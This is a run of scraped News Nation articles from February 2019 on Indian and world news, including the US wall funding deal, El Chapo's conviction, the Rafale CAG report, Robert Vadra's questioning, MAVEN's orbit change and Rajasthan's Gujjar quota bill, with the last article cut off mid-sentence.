"We've had a good evening. We've reached an agreement in principle between us on the Homeland Security and the other six bills," Senator Richard Shelby told reporters on Monday night.

As a result, the House and the Senate are likely to pass a new resolution before the February 15 deadline.

According to reports, the bill would provide USD 1.375 billion for wall construction, far less than USD 5.7 billion congressional funding Trump has demanded to build the wall.



ALSO READ | MBS' exercise equipment reaches Pakistan ahead of state visit

In December, Trump pushed back at Congress by refusing to fund large sections of the government, leading to record-breaking government shutdown in America's history that affected some 800,000 federal employees.

Last month, Trump backed a deal to temporarily end the five-week shutdown despite getting no funding for his controversial plan to build the wall along the US-Mexico border. The federal government shutdown cost the US economy a whopping USD 11 billion, including a permanent USD 3 billion loss, the non-partisan Congressional Budget Office said last month.

For all the Latest World News, Download News Nation Android and iOS Mobile Apps.New York:

Mexican mobster Joaquin El Chapo Guzman has been convicted of crimes spanning a quarter-century in a trial that laid bare his lavish lifestyle and penchant for extreme violence as head of one of the worlds most powerful gangs. The 61-year-old former boss of the notorious Sinaloa cartel  famed for his brazen escapes from Mexican prisons  faces life in prison for smuggling tons of cocaine, heroin, methamphetamine and marijuana into the United States.

He was also found Tuesday guilty on money laundering and weapons possession charges during a three-month trial in which witnesses described the mob boss beating, shooting and even burying alive those who got in his way.

The verdict was a tremendous victory for the rule of law, for Mexico, the United States and other countries that have been victims of the Sinaloa cartel, Mike Vigil, former head of international operations for the US Drug Enforcement Administration, told AFP.

Chapo Guzman was the worlds greatest drug lord of all time, Vigil added. He surpassed other drug lords, including Pablo Escobar.

In a three-month trial that unfolded like a real-life telenovela, Guzmans ex-henchmen and a former mistress took the stand under the gaze of the stocky gangster, whose nickname is Spanish slang for shorty.

His young wife, onetime beauty queen Emma Coronel, showed up almost every day in court to be with her husband.

After sentencing on June 25, Guzman is likely to be transferred to a so-called supermax prison in Colorado, sometimes called the Alcatraz of the Rockies and considered one of the most secure in the US.

His conviction is seen as a big win for the US, which failed to obtain the extradition of Escobar, the Colombian drug lord who was killed in a police operation in 1993.

Guzmans lawyer Bill Purpura said his client had expected the verdict but was a guy who never gives up and had vowed to appeal.

During the trial, the government presented 56 witnesses and troves of incriminating material, including intercepted calls between Guzman and his associates, and conservations taped secretly by informants.

Some of the most eye-watering testimony came from a former hitman who offered gruesome details about acts of torture and killings of rivals personally carried out by his then boss.

Isaias Valdez Rios told the court he saw Guzman leave one captivea rival from the Arellano Felix cartelin a chicken coop for two days After two interrogations, Guzman shot the manbefore ordering him buried alive.

On another occasion, the court heard, Guzman beat two members of the Zetas cartel with a thick tree branch till their bones were broken before shooting them dead.

Guzman was not on trial for murder, but federal prosecutors attempted to depict him as a violent and ruthless man, ready to do anything to protect his business.

Former employees testified that the cartel paid bribes of millions of dollars at the highest levels of government, including to former President Enrique Pena Nieto, who denies the allegation.

The trial also offered a glimpse at the opulent lifestyle led by Guzman, who grew up in poverty.

His ex-pilot and former cartel manager for Mexico City testified that Guzman had four airplanes, numerous houses including a mansion in Acapulco, a yacht named Chapito and a ranch that included a zoo and a small railway.

In his closing arguments late last month, another of Guzmans lawyers, Jeffrey Lichtman, asked the jury not to convict on the basis of the garbage testimony of government witnesses.

Lichtman contended that Guzman was merely a scapegoat, and that the real culprit in the drug trafficking operations was Ismael El Mayo Zambada, the co-founder of the Sinaloa cartel.

Mayo has been the largest narcotrafficker for decades in Mexico. He has never been arrested. He has paid hundreds of millions of dollars to stay free, Lichtman said.

The government, meanwhile, appealed to the jury not to let Guzman escapean allusion to his two spectacular jail breaks in Mexico, the last in 2015 through a tunnel from a shower area in his cell.

The defense called just one witness, an FBI agent put on the stand in an attempt to undermine the credibility of one of Guzmans cocaine suppliers who had testified against him.

The defenses strategy centered on attacking the credibility of the cooperating witnessesformer secretaries, pilots, cocaine suppliers, Guzmans top trafficker in the United States, a manager, an accountant, a former communications chief, and a former lover.

Most are serving prison sentences and hoped to have their penalties reduced in return for their cooperation with prosecutors.

For all the Latest World News, Download News Nation Android and iOS Mobile Apps.New Delhi:

Under the theme Dialogue, Tolerance and Peace UNESCO is paying tribute to radio on February 13. It was first proclaimed on November 3, 2011 by UNESCO's 36th General Conference after originally being proposed by Spain. Following a request from the Spanish Radio Academy on September 20, 2010, Spain proposed that the UNESCO Executive Board include an agenda item on the proclamation of a World Radio Day. This years celebration underscores the mediums ability to encourage understanding and foster new perspectives. At its headquarters in Paris, UNESCO is organizing an event which will air on DAB+ and online from a temporary radio station set up by Broadcast Associes.



ALSO READ | Tami Nadu government to request Centre to ban TikTok application



There is also a changing face to radio services, which in the present times of media convergence, are taking up new technological forms, such as broadband, mobiles and tablets. For the United Nations, especially our peacekeeping operations, radio is a vital way of informing, reuniting and empowering people affected by war. It conveys vital information and raises awareness on important issues. And it is a personal, interactive platform where people can air their views, concerns, and grievances. Radio can create a community, UN Secretary-General, Antonio Guterres said in a statement.



Top 5 facts about radioNew Delhi:

Days after WhatsApp banned Telugu Desam Party (TDP) Rajya Sabha member C.M. Rameshs account, the Facebook-owned social media messaging platform has now banned the account of TDPs Kadapa district president R Srinivasa handle for alleged violation of its terms of service. WhatsApp is yet to respond as to why his account was banned. WhatsApp gets you banned if you send illegal, defamatory, threatening messages or if WhatsApp receives a lot of user reports against you. WhatsApp in recent months has banned millions of accounts.



"There is something fishy going on, especially because it is only happening to the TDP leaders. First, CM Ramesh's WhatsApp account was banned and now mine. It was actually on the 7th that I realized I was not able to use my WhatsApp account. For the last three days, I have tried many means to uninstall and reinstall the application but to no avail. I got a message that my account has been banned, TOI quoted R Srinivasa Reddy as saying.



ALSO READ | Tami Nadu government to request Centre to ban TikTok application



I suspect that BJP in the collision with YSR Congress has been targeting leaders of the Kadapa district one after the other by resorting to such acts of prominent leaders right ahead of the elections, he added.

Earlier, Rajya Sabha member C.M. Rameshs WhatsApp account has been banned. Alleging conspiracy, C.M. Ramesh vowed to take legal action against the blocking of his account.



There are over 200 million WhatsApp users in India. WhatsApp recently revealed that it is now banning almost two million accounts every month in a bid to curb misinformation, fake news, and spam.

"As with any communications platform, sometimes people attempt to exploit our service. Some may want to distribute click-bait links designed to capture personal information, while others want to promote an idea, WhatsApp said during the press conference, according to Venturebeat. Regardless of the intent, automated and bulk messaging violates our terms of service, and one of our priorities is to prevent and stop this kind of abuse."



ALSO READ | PUBG and Fortnite lovers, have you tried newly launched Apex legends?



WhatsApp bans you at three stages: while registering, at messaging, or on basis of negative feedback. WhatsApp can ban your account at registration if your number has been recently abused.Washington:

NASA's atmosphere-sniffing Mars Atmosphere and Volatile Evolution (MAVEN) mission is tightening its orbit around the Red Planet to prepare for the US space agency's rover which is scheduled to launch next year. The operation will reduce the highest point of the spacecraft's elliptical orbit from 6,200 kilometres to 4,500 kilometres above the surface, according to NASA's Goddard Space Flight Centre. Taking the advantage of drag of the Mars' upper atmosphere, NASA engineers over the next few months, will slow the spacecraft gradually, orbit by orbit, Xinhua news agency reported. The MAVEN has completed its two-year mission but its fuel allows it to last through 2030.



"The MAVEN spacecraft has done a phenomenal job teaching us how Mars lost its atmosphere and providing other important scientific insights on the evolution of the Martian climate," said Jim Watzin, director of NASA's Mars Exploration Programme.



ALSO READ | Elon Musks space vehicle certification to be reviewed by Pentagon

"Now we're recruiting it to help NASA communicate with our forthcoming Mars rover and its successors," said Watzin.

While MAVEN's new orbit will not be drastically shorter than its present orbit, even this small change will significantly improve its communications capabilities.

"It is like using your cell phone. The closer you are to a cell tower, the stronger your signal," said Bruce Jakosky, MAVEN principal investigator from the University of Colorado, Boulder.

A strong telecommunications antenna signal is not the only benefit of a tighter orbit. Coming in about 1,500 kilometres closer also will allow the MAVEN orbiter to circle Mars more frequently -- 6.8 orbits per Earth day versus 5.3 previously -- and thus communicate with the Mars rovers more frequently.

While not conducting relay communications, MAVEN will continue to study the structure and composition of the upper atmosphere of Mars.

"We're planning a vigorous science mission far into the future," Jakosky said.

The MAVEN mission was designed to last two years in space, but the spacecraft is still operating normally. With the mission managing its fuel to last through 2030, NASA plans to use MAVEN's relay capability as long as possible.

The MAVEN orbiter carries an ultra-high-frequency radio transceiver -- similar to transceivers carried on other Mars orbiters -- that allows it to relay data between Earth and rovers or landers on Mars.

The MAVEN spacecraft already has served occasionally as NASA's communication liaison with the Curiosity rover.

Over the next few months, MAVEN engineers will use a navigation technique known as aerobraking -- like applying the brakes on a car -- to take advantage of the drag of the Red Planet's upper atmosphere to slow the spacecraft down gradually, orbit by orbit.



ALSO READ | Round trip ticket to Mars will cost just $100,000, says Elon Musk

This is the same drag you would feel if you put your hand out of the window of a moving car. Based on the tracking of the spacecraft by the navigation team at NASA's Jet Propulsion Laboratory in Pasadena, California, and at Lockheed Martin in Littleton, Colorado, engineers will begin carefully lowering the lowest part of the spacecraft's orbit into the Martian upper atmosphere over the next couple of days by firing its thrusters.

The spacecraft will circle Mars at this lower altitude about 360 times over the next 2.5 months, slowing down slightly with each pass through the atmosphere.

While it may seem like a time-consuming process, aerobraking is the most efficient way to change the spacecraft's trajectory, said Jakosky.

For all the Latest Science News, Download News Nation Android and iOS Mobile Apps.New Delhi:

Days after Supreme Court scolded RJD leader Tejashwi Yadav, the former Bihar deputy chief minister on Wednesday vacated the government bungalow. Yadav had accepted Supreme Courts order saying he would "respect" the court and asserted that his fight was against the Chief Minister Nitish Kumar government's arbitrary and spiteful action and it would continue. He also alleged that Nitish Kumar himself was occupying 'two residences' created by clubbing six bungalows.

The Supreme Court on Friday had dismissed Yadav's plea challenging a Patna High Court order asking him to vacate the bungalow meant for the deputy chief minister and imposed Rs 50,000 fine on him for wasting "judicial time".

The top court did not find fault with the two orders passed by the single judge and the division bench of the high court dismissing the pleas of the former deputy chief minister against the state government's decision asking Tejashwi to vacate the bungalow for his successor Sushil Modi.

The High Court had asked Tejashwi, who is now holding the post of leader of opposition (LoP) in the assembly, to swap bungalow with the present deputy chief minister.

"What is this luxury of litigation? Precious judicial time has been wasted," a bench headed by Chief Justice Ranjan Gogoi said when Tejashwi's counsel, senior advocate A M Singhvi, attempted to establish that the post of a minister and that of the LoP was similar in protocol.

Moreover, there is no separate class like deputy chief minister in law, Singhvi said. He said there is chief minister and the council of ministers, but the state government has created a new category of deputy chief minister for the purposes of accommodation and other benefits.

"Was there no deputy chief ministers elsewhere? ...You see, two benches of the high court have held against you," said the bench, which also comprised Justices Deepak Gupta and Sanjiv Khanna.

"Heard counsel for the petitioner and perused the relevant material. We are not inclined to interfere with the order impugned in the special leave petition. The same is dismissed with cost of Rs 50,000 to be deposited within a period of four weeks from today with the Supreme Court Legal Services Committee," the court noted in the order.

On January 7, a division bench of the high court rejected the RJD leader's appeal challenging a single judge order on October 6, 2018 turning down his petition against the state government's direction.

"The petitioner has been allotted a bungalow, matching his status as a minister in the government, at 1, Polo Road, Patna. He cannot raise a complaint on the decision so taken, simply because the present bungalow is more suited to him," the single-judge order stated.

Yadav occupies the 5, Desh Ratna Marg bungalow, a stone's throw from the Raj Bhavan and the chief minister's official residence. It was allotted to Yadav in 2015 when he was appointed deputy chief minister of the then 'Grand Alliance' government headed by Nitish Kumar.

The RJD lost power in the state and Kumar now heads a NDA government. The Nitish Kumar government had asked Yadav to swap residences with Modi.

With PTI Inputs

For all the Latest India News, Download News Nation Android and iOS Mobile Apps.New Delhi:

Sonia Gandhi's son-in-law and businessman Robert Vadra's questioning by the Enforcement Directorate in connection with a Bikaner land scam is underway in the agency's ED office in Jaipur. He arrived at the ED office at 10.30 am. Last night, he was interrogated for nearly nine hours. He had given answers to the questions from the ED officers. Vadra's lawyers said his mother has not been called for questioning as she is not keeping well. She has, however, assured full cooperation in the probe, they said. On Facebook, Vadra accused the Narendra Modi government of being vindictive ahead of the Lok Sabha elections, and putting his mother through harassment.

Here are the updates:

9.13 pm: He has left Jaipur for Delhi, says Robert Vadra's lawyer Varuna Bhandari.

8.30 pm: Robert Vadra leaves ED office after nine-hour-long interrogation in money laundering case

13.30 pm: Robert Vadra's questioning to resume at 2.30 pm after lunch break.

13.20 pm: The Enforcement Directorate began questioning Rober Vadra at 10.30 am.

10.30 am: Robert Vadra arrives at Enforcement Directorate office in Jaipur, where he is being questioned in connection with Bikaner land deal case.





10 am: Robert Vadra's mother Maureen Vadra leaves for Delhi from Jaipur. She was let off after 2-hours of questioning on Tuesday after complaining of ill-health.

This was Vadra's first appearance before the ED in Jaipur in connection with charges of money laundering through land deals made by a company linked to him. Vadra was asked by the Rajasthan High Court to cooperate with the agency. His Jaipur appearance follows soon after he faced ED questioning for three days in Delhi on a different set of charges relating to property allegedly purchased in London.

Vadra is also facing accusations of irregular land deals in Haryana's Gurugram district. Vadra and his mother reached the ED's zonal office at Bhawani Singh Road, amid tight security. Near the ED office, some Congress workers shouted slogans in support of Priyanka Gandhi, and also repeated the slogan given by her brother Rahul Gandhi, calling Modi a thief, Chowkidar chor hai, they shouted.

Several hoardings were put up nearby showing pictures of Priyanka Gandhi and Robert Vadra, and saying that people wanted Rahul Gandhi and Priyanka Gandhi to come to power this time."Jan Jan ki hai yehi pukar, Rahul ji-Priyanka ji abki baar, the banners said.

Rajasthan Congress vice president Archana Sharma, however, claimed she was not aware of such posters. "The party has not put up any such hoardings," she said. Before the questioning started, Vadra accused the government of harassing his elderly mother by putting her through it. As I always have adhered to rules and overall being a disciplined person, I have the ability to sustain any amount of hours of questioning and having nothing to hide, I will answer every question with respect and dignity. This too shall pass and will make me stronger,? he said.

"So here we are my 75-year-old mother and me in Jaipur to depose in front of the Enforcement Directorate. Not understanding the lows of this vindictive government to be harassing a senior citizen, who the world knows has lost her daughter in a car crash, her ailing son to diabetes, and her husband as well," he posted.

In the Bikaner case, the agency had summoned Vadra thrice but he failed to appear before it. The Rajasthan High Court asked him and his mother to cooperate with the agency after they approached it, seeking directions that no coercive action is taken against them by the ED.

The ED had registered a case in connection with the deal in 2015, taking cognisance of a clutch of FIRs and chargesheets filed by the Rajasthan police after the Bikaner tehsildar complained about alleged forgery in land allotment. It is understood that the agency wanted to question him on the operations of Skylight Hospitality Private Limited, allegedly linked to him, which purchased land in the area.

For all the Latest India News, Download News Nation Android and iOS Mobile Apps.New Delhi:

Congress president Rahul Gandhi on Wednesday said that he totally disagrees with veteran Samajwadi Party Mulayam Singh Yadavs remarks on Narendra Modi that he should become Prime Minister again. I disagree with him. But Mulayam Singh Yadav Ji has a role in politics and I respect his opinion, Gandhi said while addressing media persons at AICC headquarters in the national capital.

I want to congratulate PM Modi for taking everyone together. I want to say that every member should win again and you (Narendra Modi) become prime minister again. (PM ko badhaai dena chahta hun ki PM ne sabko saath lekar chalne ki koshish ki hai. Main kehna chahta hun ki saare sadaysa phir se jeet kar aayen, aur aap (PM) dobara pradhan mantri banein), Mulayam had said in the Parliament.

Gandhi also noted that the CAG report on the Rafale deal does not mention the dissent note by negotiators and said he doesn't think its worth the paper its written on.

Gandhi's dismissal of the Comptroller and Auditor General report came hours after the paper was tabled in Parliament.

The only reason for the new deal is to give Rs 30,000 crore to industrialist Anil Ambani, the Congress chief alleged. "The argument given by the prime minister for the new Rafale deal was price and faster delivery. This has been demolished," he said, citing a note by officials.

"You say there was no scam, then why are you afraid of ordering a JPC," he said, reiterating his demand for a joint parliamentary committee to look into the deal.

Here are live updates of the press conference:

17:13 (IST) Facebook Twitter Whats app Linked In According to CAG report, Nirmala Sitharaman lied in the Parliament: Rahul Gandhi

16:56 (IST) Facebook Twitter Whats app Linked In I want to make it clear once again that allegations are being raised against PM Modi that he gave Rs 30,000 crore to his friend Anil Ambani: Rahul Gandhi

16:55 (IST) Facebook Twitter Whats app Linked In I am a leader of opposition and I will continue to raise these issues: Rahul Gandhi

16:55 (IST) Facebook Twitter Whats app Linked In He is worried that Rafale issue will reach to a conclusion: Rahul Gandhi

16:55 (IST) Facebook Twitter Whats app Linked In If there is no scam in the Rafale deal, then agree for a Joint Parliamentary Committee (JPC). Why is BJP fearing JPC?: Rahul Gandhi

16:54 (IST) Facebook Twitter Whats app Linked In Argument of Prime Minister, Defence Minister & Finance Minister on why a new deal was reqd was -No.1- price & No. 2-Air Force needed planes quickly. The fact of the matter is, the new deal signed by Narendra Modi gets India the aircrafts later than the original deal: Rahul Gandhi

16:54 (IST) Facebook Twitter Whats app Linked In I diagree with him. But Mulayam Singh Yadav Ji has a role in politics and I respect his opinion: Rahul Gandhi on Mulayam Singh Yadav's remark in Lok Sabha

16:53 (IST) Facebook Twitter Whats app Linked In The final price offered by the French govt which is escalation-based is 55.6% above benchmark, which is for firm and fixed price. Considering the future escalation till the time of delivery, final price would further increase: Rahul Gandhi

16:53 (IST) Facebook Twitter Whats app Linked In I want to make it clear once again that allegations are being raised against PM Modi that he gave Rs 30,000 crore to his friend Anil Ambani: Rahul Gandhi

16:53 (IST) Facebook Twitter Whats app Linked In He never talks to media because he has no response: Rahul Gandhi

16:53 (IST) Facebook Twitter Whats app Linked In Here stand demolished, the 2 pillars on which the entire government's argument for the new deal are based. The only reason for the new deal is to give 30,000Cr to Anil Ambani: Rahul Gandhi

16:53 (IST) Facebook Twitter Whats app Linked In The final price offered by the French govt which is escalation-based is 55.6% above benchmark, which is for firm and fixed price. Considering the future escalation till the time of delivery, final price would further increase: Rahul Gandhi

16:53 (IST) Facebook Twitter Whats app Linked In The fact of the matter is, the new deal signed by Narendra Modi gets India the aircrafts later than the original deal: Rahul Gandhi

16:52 (IST) Facebook Twitter Whats app Linked In He is worried that Rafale issue will reach to a conclusion: Rahul Gandhi

16:35 (IST) Facebook Twitter Whats app Linked In It's very clear that PM Modi has given money to Anil Ambani: Rahul Gandhi

16:34 (IST) Facebook Twitter Whats app Linked In I am ready to debate on Rafale with PM Modi anytime and anywhere: Rahul Gandhi

For all the Latest India News, Download News Nation Android and iOS Mobile Apps.New Delhi:

The Narendra Modi government bought Rafale fighter planes at a cheaper rate, the CAG report confirmed on Wednesday. The CAG report on Capital Acquisitions in Indian Air Force, which was tabled in Rajya Sabha, does not have any mention about the exact price of each fighter jet. The audit noted that the IAF did not define the ASQRs (Air Staff Qualitative Requirements) properly. As a result, none of the vendors could fully meet the ASQRs. ASQRs were changed repeatedly during the procurement process. It created difficulties during technical and price evaluation and affected integrity of competitive tendering; one of the main reasons for delay in acquisition process. Objectivity, equity and consistency of technical evaluation process wasn't evident in Technical Evaluation Report.

A Defence Ministry team in March 2015 recommended the scrapping of the 126 Rafale deal saying that Dassault Aviation was not the lowest bidder and EADS (European Aeronautic Defence & Space Company) was not fully compliant with the tender requirements, the CAG report said.

Finding issues in the UPA era 126 aircraft deal, CAG says Defence Ministry team had said in 2015 that the proposal of Dassault Aviation Rafale should have been rejected in technical evaluation stage itself as it was non-compliant with RFP requirements.

Meanwhile, amid ongoing controversy over Rafale fighter plane deal, the Indian Air Force has said that the combat jet programme is on schedule and that the first aircraft will be delivered in September later this year. The delivery will take place in France and the aircraft would be brought back to India, an air force official was quoted as saying by news agency ANI. Earlier report suggest that the Indian Air Force plans to deploy Rafale fighter jets at strategic air bases near Pakistan and China.

As part of change in the current structure, the Indian Air Force will deploy Rafale squadrons at Haryanas Ambala and West Bengals Hashimpura bases respectively. At present, the number 3 Cobra squadron of MiG-21 Bison fighter jets has been deployed in Ambala since 1997. But with Rafale taking over the fighter base in next two years, the Cobra squadron will be shifted to Rajasthans Nal air base. The air force has almost completed the shifting process soon Ambala skies wont see the famous MiG-21 fighter jets. The air force has also confirmed the development.

For all the Latest India News, Download News Nation Android and iOS Mobile Apps.New Delhi:

Defence, trade and energy security are expected to be high on the agenda when Saudi Arabia's Crown Prince and Defence Minister Mohammed bin Salman holds talks with Prime Minister Narendra Modi during his two-day visit to India next week. Accompanied by a high-level delegation comprising ministers, senior officials and leading Saudi businessmen, Prince Salman will arrive in India on February 19 on his maiden trip to the country, the Ministry of External Affairs said in a statement here.



During the visit, the Crown Prince will hold talks with Prime Minister Narendra Modi on a wide range of issues of mutual interest. He will also call on President Ram Nath Kovind and Vice President M Venkaiah Naidu.



The visit by Prince Salman, who is also the vice president of Saudi Arabia's council of ministers, follows the highly successful trip of Prime Minister Modi to that country in April 2016, during which the two sides agreed to further elevate existing strategic partnership, the MEA said.

RELATED



In recent years, there has been significant progress in bilateral cooperation in key areas of mutual interest, including energy security, trade and investment, infrastructure, defence and security, it said.



The bilateral trade was $27.48 billion during the last financial year 2017-18, making Saudi Arabia India's fourth largest trading partner.

Saudi Arabia contributes significantly to India's energy security needs by supplying about 20 per cent of crude requirements of the country.



Recently, Saudi ARAMCO in partnership with ADNOC of the UAE entered into a Joint Venture for $44-billion worth Ratnagiri Refinery and Petro-Chemical project Ltd.



The Kingdom of Saudi Arabia also facilitates Hajj pilgrimage to over 1,75,000 Indians every year.

For all the Latest India News, Download News Nation Android and iOS Mobile Apps.New Delhi:

Today is the last day of the Budget Session of Parliament and the CAG report on Rafale is likely to be tabled. Also, the Triple Talaq Bill might be tabled in the Rajya Sabha. The Enforcement Directorate will continue questioning Robert Vadra in connection with the Bikaner land scam case in Jaipur. Priyanka Gandhi Vadra will hold meetings with Congress party workers and leaders in Lucknow for the third day. Several opposition leaders will assemble at the event, Tanashahi Hatao, Desh Bachao (Remove Dictatorship, Save Country), organised by the Aam Aadmi Party. The chief ministers of West Bengal and Andhra Pradesh are among the opposition leaders expected to attend the Jantar Mantar event. BJP president Amit Shah will visit the Kumbh Mela at Prayagraj today.

In international news, Mexican drug lord El Chapo, called the worlds greatest drug lord of all time, has been convicted and faces life in prison. The verdict was announced by a New York jury. Several people were killed on Tuesday when a stampede erupted at a campaign rally of Nigerian President Muhammadu Buhari days ahead of general elections.

17:13 (IST) Facebook Twitter Whats app Linked In Kullu: Fire breaks out at Dhakpo Shedrupling Monastery in Kais. One fire tender present at the spot. No injuries reported.



Kullu: Fire breaks out at Dhakpo Shedrupling Monastery in Kais. One fire tender present at the spot. No injuries reported. #HimachalPradesh pic.twitter.com/kkZxWaw4KU

 ANI (@ANI) February 13, 2019



12:11 (IST) Facebook Twitter Whats app Linked In Supreme Court today slammed the Uttar Pradesh government for the poor upkeep of the historic Taj Mahal and asked it to file a fresh vision document within four weeks with respect to the steps it wanted to take in this regard.

12:27 (IST) Facebook Twitter Whats app Linked In Earthquake with a magnitude of 3.5 on the Richter scale hit Kangra

A 3.5 low-intensity magnitude earthquake struck Himachal Pradeshs Kangra district on Wednesday, officials said. No loss of life or property was reported, they said. The epicentre of the earthquake was north of Dharamshala town at a depth of five kilometre, Director, Shimla Meteorological Centre, Manmohan Singh, said. The earthquake measuring 3.5 on the Richter Scale was recorded at 7:35 am today, he said. He said mild tremors were felt in areas across the district. Most parts of Himachal Pradesh, including Kangra district, fall in the high-seismic sensitive zone.



09:49 (IST) Facebook Twitter Whats app Linked In UP CM flags off a motor car rally in Lucknow,organised to commemorate 150 years of Mahatma Gandhi's birth anniversary. Rally will travel through places historically associated with Mahatma Gandhi, both in India, as well as in Bangladesh& Myanmar creating awareness on road safety.



UP CM flags off a motor car rally in Lucknow,organised to commemorate 150 years of Mahatma Gandhi's birth anniversary. Rally will travel through places historically associated with Mahatma Gandhi, both in India, as well as in Bangladesh& Myanmar creating awareness on road safety. pic.twitter.com/RdM7eDKB9u

 ANI UP (@ANINewsUP) February 13, 2019



09:11 (IST) Facebook Twitter Whats app Linked In Karnataka: Congress MLA Ramesh Jarkiholi arrived in Bengaluru last night. He had been incommunicado for the past few days.



Karnataka: Congress MLA Ramesh Jarkiholi arrived in Bengaluru last night. He had been incommunicado for the past few days. pic.twitter.com/mUPwNz1GzN

 ANI (@ANI) February 13, 2019



08:38 (IST) Facebook Twitter Whats app Linked In Chandigarh-Manali National Highway is blocked at Banala near Aut in Mandi district due to falling of boulders following a landslide. Machines are being used to remove the boulders, reports ANI.

08:16 (IST) Facebook Twitter Whats app Linked In Tamil Nadu: Forest officials, trained in scuba diving, participated in the removal of plastic waste from Gulf of Mannar on Tuesday. (Photo: ANI)

07:12 (IST) Facebook Twitter Whats app Linked In Karnataka: Visuals from Sakrebailu elephant camp in Shivamogga which helps in domesticating rescued elephants from across the country.



Karnataka: Visuals from Sakrebailu elephant camp in Shivamogga which helps in domesticating rescued elephants from across the country. pic.twitter.com/SM10d4CcA3

 ANI (@ANI) February 13, 2019



07:08 (IST) Facebook Twitter Whats app Linked In Gujarat: A tiger was spotted by a camera trap in Lunawada, Mahisagar on 11 February. The tiger is believed to be 7 to 8-year-old. Gujarat now has the presence of both tigers and lions.



Gujarat: A tiger was spotted by a camera trap in Lunawada, Mahisagar on 11 February. The tiger is believed to be 7 to 8-year-old. Gujarat now has the presence of both tigers and lions. pic.twitter.com/bHbW3MQ1eH

 ANI (@ANI) February 12, 2019



For all the Latest India News, Download News Nation Android and iOS Mobile Apps.New Delhi:

Ramesh Jarkiholi, the Congress MLA from Karnatakas Gokak, returned to state capital Bengaluru on Tuesday last night. Jarkiholi has been missing in action for a very long time. In fact, Siddaramaiah, the former Karnataka Chief Minister, had said that that he will petition before the Assembly Speaker to suspend the four dissenting Congress MLAs. These four MLAs include Jarkiholi also. Earlier, on January 18, the Karnataka Congress had issued notice to the dissenting lawmakers. Ramesh Jarkiholi, who was dropped as a minister in the recent Cabinet rejig, didnt attend the Congress meet. Apart from him, other rebel leaders are B Nagendra, Umesh Jadhav and Mahesh Kumatahalli.

Another Congress MLA J N Ganesh, who was reportedly on the BJP's radar for desertion, is absconding ever since he allegedly assaulted fellow lawmaker Anand Singh during a brawl at a resort recently.

The former chief minister has alleged that the BJP was offering Rs 50 crore each to Congress MLAs as part of its bid to topple the JDS-Congress government in Karnataka, but asserted none of them would fall for it.

"They (BJP) are under some illusion of power. They are offering Rs 50 crore (to Congress MLAs). They huddled their 104 MLAs in a seven-star hotel in Haryana for a week, Siddaramaiah had said.

At the height of political turmoil early last month after two MLAs withdrew support to the government and some Congress MLAs went incommunicado, Siddaramaiah had made a similar charge alleging that the BJP was trying to buy Congress MLAs by offering Rs 25-30 crore.

The lawmakers who have withdrawn their support are H Nagesh (Independent) and R Shankar (Karnataka Pragnyavanta Janata Paksha). The development comes amid reports of some Congress MLAs go missing.

In the 224-member Karnataka Assembly, the BJP has 104 members, Congress 80 (including Assembly Speaker KR Ramesh Kumar), Kumaraswamys JD (S) has 37, BSP, KPJP and Independent one each. BSP is supporting the coalition government.

A possible disqualification of the four MLAs might deepen the crisis for the ruling coalition as in that event, it would be hanging by the thread with its strength just above the half way mark of 113 by one seat.

For all the Latest India News, Download News Nation Android and iOS Mobile Apps.New Delhi:

Jammu and Kashmir Governor Satya Pal Maliks decision to create a separate division for the Ladakh region has caused major uproar in the restive state. PDP president and former chief minister Mehbooba Mufti on Wednesday slammed the Governor for the decision and said that the peoples sentiments were not taken into consideration. The decision taken by Governor are against the sentiments of Kashmir. This is a Muslim majority state and Government has to keep the sentiments of the people here, Mufti said while addressing media at her home in Srinagar today. The government has ignored Chenab valley. Central governments has hand in these decisions, Mufti added.

On Monday, Kargil town and its adjoining areas observed a shutdown on February 11 to protest against the decision of the Jammu and Kashmir government to set up the permanent headquarters of the newly-created Ladakh division in Leh. "Shops and business establishments are closed, while roads are deserted due to the shutdown called by local leaders in Kargil," officials said. Cutting across party lines, residents of Kargil marched in thousands on Sunday against the administration's decision to permanently post the divisional commissioner and Inspector General of Police (IGP) offices for the newly created Ladakh division in Leh town.

The people of Kargil are demanding that divisional commissioner and IGP offices function on rotational basis -- in Kargil during summers and in Leh during winters. The elected leaders of Kargil in panchayats, municipal committees and the Ladakh Autonomous Hill Development Council (Kargil) have threatened to resign en masse if the government does not modify its order.

The government decision to create Ladakh division has led to resentment from other regions of the state like Pir Panjal and the Chenab valley, where leaders have threatened to launch an agitation if similar administrative units for their regions were not created. The National Conference has already made it an election issue, with its leader Omar Abdullah promising to create new divisions for Pir Panjal and Chenab valley if his party is voted to power in the assembly elections likely to be held later this year.

(With agency inputs)

For all the Latest India News, Download News Nation Android and iOS Mobile Apps.New Delhi:

A brief exchange of fire occurred between security forces and terrorists in the Gopalpora area of Budgam district early on Wednesday morning. The area has been cordoned off. Budgam encounter: 2 terrorists have been neutralised by the security forces. Arms and ammunition have been recovered from the site of encounter. The identities and affiliations of the terrorists killed are yet to be identified. A case has been registered and the police have initiated an investigation into the matter.

Based on a credible input about the presence of terrorists in the Gopalpora area of Chadoora in Budgam district, a cordon and search operation was launched in the intervening night (of Tuesday and Wednesday), a police spokesman said as quoted by news agency PTI. He said when the search operation was underway, the militants fired on the security forces. The search party retaliated and it led to a gunfight in which the two militants were killed, the spokesman said.

On Tuesday, an Army jawan lost his life and two were injured on Tuesday during an encounter with terrorists in the Ratnipora area of the Pulwama district of Jammu and Kashmir. One terrorist was also neutralised during the operation. Security forces launched a cordon and search operation in Ratnipora area of Pulwama in south Kashmir during the night following specific information about the presence of militants there, a police official said. He said the search operation turned into an encounter after militants fired on the forces who retaliated. The exchange of fire was on, the official said, adding the area has been cordoned off. The identity and affiliation of the terrorist are being ascertained. In the encounter, two security forces personnel also sustained gunshot injuries and were evacuated to hospital for medical attention, however, one of the injured jawan Baljeet Singh attained martyrdom, official sources said.





For all the Latest India News, Download News Nation Android and iOS Mobile Apps.New Delhi:

The Rajasthan government on Wednesday passed the Gujjar Reservation Bill in the Assembly to give a five per cent quota in jobs and educational institutes to Gujjars and four other communities agitating for it. Earlier, the government introduced the Rajasthan Backward Classes (Reservation of Seats in Educational Institutes in the State and of Appointments and Posts in Services under the State) Amendment Bill, 2019, for giving reservation to Gujjars and the other castes.

The bill was presented in the Rajasthan Assembly by Energy Minister B D Kalla to pacify members of the Gujjar community who have been holding demonstrations since Friday across the state for quota. They blocked the Delhi-Mumbai railway track and several highways and roads. The bill seeks to increase the backward classes' reservation from the present 21 per cent to 26 per cent with five per cent reservation to Gujjars, Banjaras, Gadia Lohars, Raikas and Gadaria

